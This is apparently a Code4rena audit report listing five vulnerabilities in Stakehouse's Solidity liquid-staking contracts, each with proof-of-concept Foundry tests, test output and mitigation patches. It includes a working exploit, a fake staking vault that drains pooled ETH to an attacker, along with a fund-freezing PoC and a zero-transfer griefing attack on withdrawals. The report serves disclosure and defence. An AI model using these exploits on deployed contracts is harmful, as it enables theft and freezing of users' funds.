LSD Network - Stakehouse contest - hihen's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137-L158

Vulnerability details

Impact

Malicious users can freeze all idle ETH in Pools(GiantMevAndFeesPool, GiantSavETHVaultPool), and bring-back-able ETH in vaults(StakingFundsVault, SavETHVault).

Proof of Concept

The bringUnusedETHBackIntoGiantPool() in GiantMevAndFeesPool is used to send unused ETH from vault back to the pool, which will increase balance of the pool contract. The GiantMevAndFeesPool contract only use the idleETH to identify its usable ETH amount/balance (see batchDepositETHForStaking() and withdrawETH()). Since bringUnusedETHBackIntoGiantPool() does not update the value of idleETH in it, the ETH just sent back will be frozen.

The bringUnusedETHBackIntoGiantPool() in GiantSavETHVaultPool has the same vulnerability after adding receive() function (which is another bug).

Malicious uses can freeze all idelETH in the pool using this vulnerability. All they need to do is call batchDepositETHForStaking() to deposit the idelETH before bringUnusedETHBackIntoGiantPool().

PoC test code:

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..a38b61a 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -37,6 +37,60 @@ contract GiantPoolTests is TestUtils {
         giantFeesAndMevPool = new GiantMevAndFeesPool(factory);
     }

+    function test_frozenETHAfterBringBack() public {
+        // Set up users and ETH
+        address nodeRunner = accountOne;
+        address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether);
+        address hacker = accountThree;
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);
+
+        // Deposit ETH into giant fees and mev
+        vm.startPrank(feesAndMevUser);
+        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
+        vm.stopPrank();
+        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
+        assertEq(giantFeesAndMevPool.idleETH(), 4 ether);
+
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        giantFeesAndMevPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.stakingFundsVault())),
+            getUint256ArrayFromValues(4 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(manager.stakingFundsVault()).balance, 4 ether);
+        assertEq(address(giantFeesAndMevPool).balance, 0 ether);
+        assertEq(giantFeesAndMevPool.idleETH(), 0 ether);
+
+        // Warp ahead
+        vm.warp(block.timestamp + 1 hours);
+
+        LPToken[] memory tokens = new LPToken[](1);
+        tokens[0] = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne);
+        LPToken[][] memory allTokens = new LPToken[][](1);
+        allTokens[0] = tokens;
+
+        // Bring unused ETH back
+        vm.startPrank(hacker);
+        giantFeesAndMevPool.bringUnusedETHBackIntoGiantPool(
+            getAddressArrayFromValues(address(manager.stakingFundsVault())),
+            allTokens,
+            stakeAmountsForVaults
+        );
+        vm.stopPrank();
+        assertEq(address(manager.stakingFundsVault()).balance, 0 ether);
+        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
+        // All ETH back are not idle, not usable
+        assertEq(giantFeesAndMevPool.idleETH(), 0 ether);
+    }
+
     function testETHSuppliedFromGiantPoolCanBeUsedInFactoryDeployedLSDN() public {
         // Set up users and ETH

PoC test output:

$ forge test -m test_frozenETHAfterBringBack

Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests
[PASS] test_frozenETHAfterBringBack() (gas: 1024304)
Test result: ok. 1 passed; 0 failed; finished in 18.36ms

Tools Used

VS Code

Recommended Mitigation Steps

Correctly updating idleETH or just set idleETH to the balance of the pool in bringUnusedETHBackIntoGiantPool() will fix this vulnerability.

diff --git a/contracts/liquid-staking/GiantMevAndFeesPool.sol b/contracts/liquid-staking/GiantMevAndFeesPool.sol
index 0e76efc..e8dcf93 100644
--- a/contracts/liquid-staking/GiantMevAndFeesPool.sol
+++ b/contracts/liquid-staking/GiantMevAndFeesPool.sol
@@ -135,6 +135,7 @@ contract GiantMevAndFeesPool is ITransferHookProcessor, GiantPoolBase, Syndicate
         for (uint256 i; i < numOfVaults; ++i) {
             StakingFundsVault(payable(_stakingFundsVaults[i])).burnLPTokensForETH(_lpTokens[i], _amounts[i]);
         }
+        idleETH = address(this).balance;
     }

     /// @notice Distribute any new ETH received to LP holders
diff --git a/contracts/liquid-staking/GiantSavETHVaultPool.sol b/contracts/liquid-staking/GiantSavETHVaultPool.sol
index 4edbd43..d6bc610 100644
--- a/contracts/liquid-staking/GiantSavETHVaultPool.sol
+++ b/contracts/liquid-staking/GiantSavETHVaultPool.sol
@@ -154,5 +154,6 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {

             vault.burnLPTokens(_lpTokens[i], _amounts[i]);
         }
+        idleETH = address(this).balance;
     }
 }

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L40-L51

Vulnerability details

Impact

All idle ETH in GiantMevAndFeesPool can be drained easily.

Proof of Concept

In the batchDepositETHForStaking(_stakingFundsVault, ...) of GiantMevAndFeesPool, the ETH is sent to _stakingFundsVault without validating.

A malicious user can easily drain all idle ETH in GiantMevAndFeesPool by passing a forged fake vault to batchDepositETHForStaking.

Test code:

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..976d6cf 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -13,6 +13,20 @@ import { MockSavETHVault } from "../../contracts/testing/liquid-staking/MockSavE
 import { MockGiantSavETHVaultPool } from "../../contracts/testing/liquid-staking/MockGiantSavETHVaultPool.sol";
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

+contract FakeStakingFundsVault {
+    address public liquidStakingNetworkManager;
+    address public receiver;
+
+    constructor(address _manager) {
+        liquidStakingNetworkManager = _manager;
+        receiver = msg.sender;
+    }
+
+    function batchDepositETHForStaking(bytes[] calldata, uint256[] calldata) external payable {
+        payable(receiver).transfer(msg.value);
+    }
+}
+
 contract GiantPoolTests is TestUtils {

     MockGiantSavETHVaultPool public giantSavETHPool;
@@ -37,6 +51,40 @@ contract GiantPoolTests is TestUtils {
         giantFeesAndMevPool = new GiantMevAndFeesPool(factory);
     }

+    function test_hack_batchDepositETHForStaking() public {
+        // Deposit ETH into giant savETH
+        address feesAndMevUser= accountOne; vm.deal(feesAndMevUser, 4 ether);
+        vm.startPrank(feesAndMevUser);
+        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
+        vm.stopPrank();
+        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
+        assertEq(feesAndMevUser.balance, 0 ether);
+
+
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = new bytes[](1);
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
+
+        // Prepare hacker account
+        address hacker = accountTwo;
+        vm.prank(hacker);
+        // Deploy a fake vault contract
+        FakeStakingFundsVault fakeStakingFundsVault = new FakeStakingFundsVault(address(manager));
+
+        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
+        assertEq(hacker.balance, 0);
+        // hack: drain giantFeesAndMevPool
+        giantFeesAndMevPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(fakeStakingFundsVault)),
+            getUint256ArrayFromValues(4 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(giantFeesAndMevPool).balance, 0);
+        assertEq(hacker.balance, 4 ether);
+    }
+
     function testETHSuppliedFromGiantPoolCanBeUsedInFactoryDeployedLSDN() public {

Test output:

$ forge test -m test_hack_batchDepositETHForStaking

Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests
[PASS] test_hack_batchDepositETHForStaking() (gas: 341502)
Test result: ok. 1 passed; 0 failed; finished in 31.05ms

Tools Used

VS Code

Recommended Mitigation Steps

Each _stakingFundsVault should be validated in batchDepositETHForStaking(): ensure that it is the correct StakingFundsVault contract created by a valid LiquidStakingManager, not a fake contract created by a malicious user.

diff --git a/contracts/liquid-staking/GiantMevAndFeesPool.sol b/contracts/liquid-staking/GiantMevAndFeesPool.sol
index 0e76efc..043a249 100644
--- a/contracts/liquid-staking/GiantMevAndFeesPool.sol
+++ b/contracts/liquid-staking/GiantMevAndFeesPool.sol
@@ -10,6 +10,7 @@ import { SyndicateRewardsProcessor } from "./SyndicateRewardsProcessor.sol";
 import { LSDNFactory } from "./LSDNFactory.sol";
 import { LPToken } from "./LPToken.sol";
 import { ITransferHookProcessor } from "../interfaces/ITransferHookProcessor.sol";
+import { LiquidStakingManager } from "./LiquidStakingManager.sol";

 /// @notice A giant pool that can provide liquidity to any liquid staking network's staking funds vault
 contract GiantMevAndFeesPool is ITransferHookProcessor, GiantPoolBase, SyndicateRewardsProcessor {
@@ -40,10 +41,13 @@ contract GiantMevAndFeesPool is ITransferHookProcessor, GiantPoolBase, Syndicate
             idleETH -= _ETHTransactionAmounts[i];

             StakingFundsVault sfv = StakingFundsVault(payable(_stakingFundsVault[i]));
+            LiquidStakingManager manager = LiquidStakingManager(payable(address(sfv.liquidStakingNetworkManager())));
+
             require(
-                liquidStakingDerivativeFactory.isLiquidStakingManager(address(sfv.liquidStakingNetworkManager())),
+                liquidStakingDerivativeFactory.isLiquidStakingManager(address(manager)),
                 "Invalid liquid staking manager"
             );
+            require(address(manager.stakingFundsVault()) == address(sfv), "Invalid StakingFundsVault");

             sfv.batchDepositETHForStaking{ value: _ETHTransactionAmounts[i] }(
                 _blsPublicKeyOfKnots[i],

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantLP.sol#L43-L48 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LPToken.sol#L66-L71

Vulnerability details

Impact

Users may be unable to or very difficult to withdraw LPTokens or DETH.

Proof of Concept

When user call withdrawLPTokens() or withdrawDETH() of GiantSavETHVaultPool, _assertUserHasEnoughGiantLPToClaimVaultLP() will be used to check user activity on lpTokenETH:

require(lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp, "Too new");

If the user has interacted with lpTokenETH within 1 day, the call tx will revert.

According to the implementation of lpTokenETH (i.e. GiantLP contract), we can find that an account's lastInteractedTimestamp is updated if it send or recv any amount of token:

function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override {
    lastInteractedTimestamp[_from] = block.timestamp;
    lastInteractedTimestamp[_to] = block.timestamp;
    if (address(transferHookProcessor) != address(0)) ITransferHookProcessor(transferHookProcessor).afterTokenTransfer(_from, _to, _amount);
}

Therefore, a malicious attacker only needs to send transfering 0 lpTokenETH to the target user every other day to prevent the user to withdrawLPTokens() or withdrawDETH().

The LPToken contract has a similar but less serious vulnerabilitiy. The limited time interval about LPTokens is 30 minutes, so the attack cost is much higher.

Tools Used

VS Code

Recommended Mitigation Steps

Should only update lastInteractedTimestamp of _from, not _to in _afterTokenTransfer().

diff --git a/contracts/liquid-staking/GiantLP.sol b/contracts/liquid-staking/GiantLP.sol
index e6026f9..ef72c39 100644
--- a/contracts/liquid-staking/GiantLP.sol
+++ b/contracts/liquid-staking/GiantLP.sol
@@ -42,7 +42,6 @@ contract GiantLP is ERC20 {

     function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override {
         lastInteractedTimestamp[_from] = block.timestamp;
-        lastInteractedTimestamp[_to] = block.timestamp;
         if (address(transferHookProcessor) != address(0)) ITransferHookProcessor(transferHookProcessor).afterTokenTransfer(_from, _to, _amount);
     }
 }
\ No newline at end of file
diff --git a/contracts/liquid-staking/LPToken.sol b/contracts/liquid-staking/LPToken.sol
index 851d0c8..e13dd54 100644
--- a/contracts/liquid-staking/LPToken.sol
+++ b/contracts/liquid-staking/LPToken.sol
@@ -65,7 +65,6 @@ contract LPToken is ILPTokenInit, ILiquidStakingManagerChildContract, Initializa
     /// @dev If set, notify the transfer hook processor after token transfer
     function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override {
         lastInteractedTimestamp[_from] = block.timestamp;
-        lastInteractedTimestamp[_to] = block.timestamp;
         if (address(transferHookProcessor) != address(0)) transferHookProcessor.afterTokenTransfer(_from, _to, _amount);
     }
 }

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L155 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SavETHVault.sol#L189

Vulnerability details

Impact

All transactions calling bringUnusedETHBackIntoGiantPool of GiantSavETHVaultPool will fail.

Proof of Concept

The bringUnusedETHBackIntoGiantPool() is used to send ETH from SavETHVault back to the GiantSavETHVaultPool when the validator is in state of LifecycleStatus.INITIALS_REGISTERED.

The SavETHVault uses msg.sender.call{value: _amount}("") to send the ETH. Because the msg.sender - GiantSavETHVaultPool hasn't implemented the receive()/payable fallback(), the call to send ETH will always fail.

Test code:

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..6e4afa3 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -37,6 +37,56 @@ contract GiantPoolTests is TestUtils {
         giantFeesAndMevPool = new GiantMevAndFeesPool(factory);
     }

+    function test_bringUnusedETHBackIntoGiantPool() public {
+        // Set up users and ETH
+        address nodeRunner = accountOne;
+        address savETHUser = accountTwo; vm.deal(savETHUser, 24 ether);
+        address hacker = accountThree;
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);
+
+        // Deposit ETH into giant savETH
+        vm.startPrank(savETHUser);
+        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
+        vm.stopPrank();
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+        assertEq(giantSavETHPool.idleETH(), 24 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);
+
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.savETHVault())),
+            getUint256ArrayFromValues(24 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(manager.savETHVault()).balance, 24 ether);
+        assertEq(address(giantSavETHPool).balance, 0 ether);
+        assertEq(giantSavETHPool.idleETH(), 0 ether);
+
+        // Warp ahead
+        vm.warp(block.timestamp + 1 hours);
+
+        LPToken[] memory tokens = new LPToken[](1);
+        tokens[0] = savETHVault.lpTokenForKnot(blsPubKeyOne);
+        LPToken[][] memory allTokens = new LPToken[][](1);
+        allTokens[0] = tokens;
+
+        vm.startPrank(hacker);
+        giantSavETHPool.bringUnusedETHBackIntoGiantPool(
+            getAddressArrayFromValues(address(manager.savETHVault())),
+            allTokens,
+            stakeAmountsForVaults
+        );
+        vm.stopPrank();
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+    }
+
     function testETHSuppliedFromGiantPoolCanBeUsedInFactoryDeployedLSDN() public {
         // Set up users and ETH
         address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);

Test output:

$ forge test -m test_bringUnusedETHBackIntoGiantPool -vvv 

Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests
[FAIL. Reason: Transfer failed] test_bringUnusedETHBackIntoGiantPool() (gas: 1033550)
Traces:
  [1013650] GiantPoolTests::test_bringUnusedETHBackIntoGiantPool()
    ...
    ├─ [33361] MockGiantSavETHVaultPool::bringUnusedETHBackIntoGiantPool(...
    │   ├─ [3245] MockSavETHVault::isDETHReadyForWithdrawal(...
    ...
    ...
    │   │   │   ├─ [3120] LPToken::burn(MockGiantSavETHVaultPool: ...
    ...
    │   │   ├─ emit LPTokenBurnt(blsPublicKeyOfKnot: ...
    │   │   ├─ [46] MockGiantSavETHVaultPool::fallback{value: 24000000000000000000}()
    │   │   │   └─ ← "EvmError: Revert"
    │   │   └─ ← "Transfer failed"
    │   └─ ← "Transfer failed"
    └─ ← "Transfer failed"

Test result: FAILED. 0 passed; 1 failed; finished in 18.78ms

Failing tests:
Encountered 1 failing test in test/foundry/GiantPools.t.sol:GiantPoolTests
[FAIL. Reason: Transfer failed] test_bringUnusedETHBackIntoGiantPool() (gas: 1033550)

Tools Used

VS Code

Recommended Mitigation Steps

Add an empty receive() function to GiantSavETHVaultPool.

diff --git a/contracts/liquid-staking/GiantSavETHVaultPool.sol b/contracts/liquid-staking/GiantSavETHVaultPool.sol
index 4edbd43..df75501 100644
--- a/contracts/liquid-staking/GiantSavETHVaultPool.sol
+++ b/contracts/liquid-staking/GiantSavETHVaultPool.sol
@@ -155,4 +155,8 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
             vault.burnLPTokens(_lpTokens[i], _amounts[i]);
         }
     }
+
+    /// @notice Allow the contract to receive ETH
+    receive() external payable {
+    }
 }

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L93-L97

Vulnerability details

Impact

The batch operations of withdrawDETH() in GiantSavETHVaultPool.sol and withdrawLPTokens() in GiantPoolBase.sol are meaningless because they will fail whenever more than one lpToken is passed. Each user can perform withdrawDETH() or withdrawLPTokens() with one LPToken only once a day.

Proof of Concept

Both the withdrawDETH() in GiantSavETHVaultPool.sol and withdrawLPTokens() in GiantPoolBase.sol will call GiantPoolBase._assertUserHasEnoughGiantLPToClaimVaultLP(lpToken, amount) and lpTokenETH.burn(msg.sender, amount):

There is a require in _assertUserHasEnoughGiantLPToClaimVaultLP():

require(lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp, "Too new");

At the same time, lpTokenETH.burn(msg.sender, amount) will update lastInteractedTimestamp[msg.sender] to latest block timestamp in _afterTokenTransfer() of GiantLP.sol.

So, a user can perform withdrawDETH or withdrawLPTokens of one LPToken only once a day, others more will fail by _assertUserHasEnoughGiantLPToClaimVaultLP().

Tools Used

VS Code

Recommended Mitigation Steps

The LPToken being operated on should be checked for lastInteractedTimestamp rather than lpTokenETH.

diff --git a/contracts/liquid-staking/GiantPoolBase.sol b/contracts/liquid-staking/GiantPoolBase.sol
index 8a8ff70..5c009d9 100644
--- a/contracts/liquid-staking/GiantPoolBase.sol
+++ b/contracts/liquid-staking/GiantPoolBase.sol
@@ -93,7 +93,7 @@ contract GiantPoolBase is ReentrancyGuard {
     function _assertUserHasEnoughGiantLPToClaimVaultLP(LPToken _token, uint256 _amount) internal view {
         require(_amount >= MIN_STAKING_AMOUNT, "Invalid amount");
         require(_token.balanceOf(address(this)) >= _amount, "Pool does not own specified LP");
-        require(lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp, "Too new");
+        require(_token.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp, "Too new");
     }

     /// @dev Allow an inheriting contract to have a hook for performing operations post depositing ETH